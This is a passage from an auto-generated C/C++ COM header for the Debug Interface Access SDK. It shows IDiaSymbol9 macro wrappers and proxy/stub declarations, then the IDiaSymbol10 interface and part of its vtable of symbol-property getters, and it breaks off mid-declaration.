IDiaSymbol9_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol9_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol9_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol9_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol9_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol9_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol9_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol9_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol9_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol9_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol9_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol9_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n\n#define IDiaSymbol9_get_inlinee(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) \n\n#define IDiaSymbol9_get_inlineeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) \n\n\n#define IDiaSymbol9_get_noexcept(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) \n\n\n#define IDiaSymbol9_get_hasAbsoluteAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) \n\n\n#define IDiaSymbol9_get_isStaticMemberFunc(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) \n\n\n#define IDiaSymbol9_get_isSignRet(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSignRet(This,pRetVal) ) \n\n\n#define IDiaSymbol9_get_coroutineKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coroutineKind(This,pRetVal) ) \n\n#define IDiaSymbol9_get_associatedSymbolKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolKind(This,pRetVal) ) \n\n#define IDiaSymbol9_get_associatedSymbolSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolSection(This,pRetVal) ) \n\n#define IDiaSymbol9_get_associatedSymbolOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_associatedSymbolRva(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolRva(This,pRetVal) ) \n\n#define IDiaSymbol9_get_associatedSymbolAddr(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolAddr(This,pRetVal) ) \n\n\n#define IDiaSymbol9_get_framePadSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePadSize(This,pRetVal) ) \n\n#define IDiaSymbol9_get_framePadOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePadOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isRTCs(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRTCs(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol9_get_framePadSize_Proxy( \n    IDiaSymbol9 * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol9_get_framePadSize_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol9_get_framePadOffset_Proxy( \n    IDiaSymbol9 * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol9_get_framePadOffset_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol9_get_isRTCs_Proxy( \n    IDiaSymbol9 * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol9_get_isRTCs_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol9_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol10_INTERFACE_DEFINED__\n#define __IDiaSymbol10_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol10 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol10;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"9034a70b-b0b7-4605-8a97-33772f3a7b8c\")\n    IDiaSymbol10 : public IDiaSymbol9\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE get_sourceLink( \n            /* [in] */ DWORD cb,\n            /* [out] */ DWORD *pcb,\n            /* [size_is][out] */ BYTE *pb) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol10Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol10 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol10 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol10 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol10 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol10 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol10 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol10 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol10 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            